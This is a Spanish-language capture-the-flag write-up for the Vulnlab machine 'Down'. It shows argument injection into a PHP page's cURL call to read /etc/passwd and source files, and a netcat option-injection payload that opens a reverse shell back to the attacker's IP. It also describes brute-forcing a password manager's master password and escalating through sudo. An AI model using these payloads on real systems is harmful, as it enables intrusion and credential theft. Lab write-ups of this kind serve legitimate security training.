Down - Writeup (Vulnlab)
NMAP
Comenzamos con la enumeracion de puertos y servicios:
1 | PORT STATE SERVICE VERSION |
Solamente puerto 22 y 80 disponibles de TCP.
HTTP | 80
Al ingresar al sitio web del puerto 80 que esta corriendo un Apache nos encontramos con lo siguiente:
Al parecer una tipica web donde chequea el status de un URL ingresado, probamos con LOCALHOST:
1 | http://localhost |
Si trato de leer un archivo como .htaccess, me da error de permisos:
Parameter Injection
Queria saber de que modo leia el codigo fuente cuando le pasabamos el sitio web mediante el parametro “URL” que utiliza, y compruebo que se trata de cURL, ya que intente obtener el help y funcionó:
1 | http://localhost -h |
Leyendo archivos mediante file:///
Mediante esta inyeccion puedo ver archivos en el sistema:
1 | http://localhost file:///etc/hosts |
1 | http://localhost file:///etc/passwd |
Interpretando el codigo de INDEX.php
Siguiendo la misma via de inyeccion si trato con file:/// obtener el codigo fuente de index.php encuentro un finding interesante:
1 | http://localhost file:///var/www/html/index.php |
expertmode=tcp
Cuando se accede mediante el index.php pasandole
expertmode=tcp
, el formulario permite ingresar una IP y un puerto.El código verifica si la IP es válida y si el puerto es un número entero.
Luego, utiliza
nc
(netcat) para verificar si el puerto está abierto en la IP especificada:$ec = escapeshellcmd("/usr/bin/nc -vz $ip $port"); exec($ec . " 2>&1",$output,$rc);
USER: Getting revshell via Netcat
Aunque usa escapeshellcmd()
para intentar proteger el comando, esto no es suficiente, ya que solo escapa caracteres específicos, pero no protege los parámetros que se pasan a netcat ($ip
y $port
). La idea fue inyectar opciones adicionales en el parámetro port
para ejecutar una revshell:
Payload
1 | ip=10.8.0.147&port=8000+-e+/bin/bash |
Finalmente cateamos la flag y obtenemos el user.
Enumerando el sistema, habiamos visto al principio que teniamos un solo usuario, llamado “aleks”, dentro de su carpeta, si veo los permisos puedo acceder a su home y asi mismo a una carpeta llamada pswm:
Dentro hay un archivo llamado del mismo modo, que aparentemente tiene un contenido cifrado.
PSWM | Command Line Password Manager
Una rapida busqueda a Google me permite identificar de que se trata.
https://github.com/Julynx/pswm
Cracking pwsm master password
Para resolver esto utilicé fuerza bruta con el wordlist rockyou.txt
y la biblioteca cryptocode
en Python. El script va probando cada contraseña del wordlist, usando la función cryptocode.decrypt()
contra la cadena cifrada.
crackPSWM.py
1 | #!/usr/bin/env python3 |
Ejecuto el script y logro crackear el Master Password cifrado:
1 | python3 crackPSWM.py |
Getting aleks shell
Ahora que tengo el password de aleks puedo convertirme en el y obtener shell:
1 | su aleks |
ROOT
Para nuestra suerte verificando el comando sudo -l
vemos que tiene ALL:ALL
Basicamente somos root.
1 | sudo su |
Pwn3d!
shkz.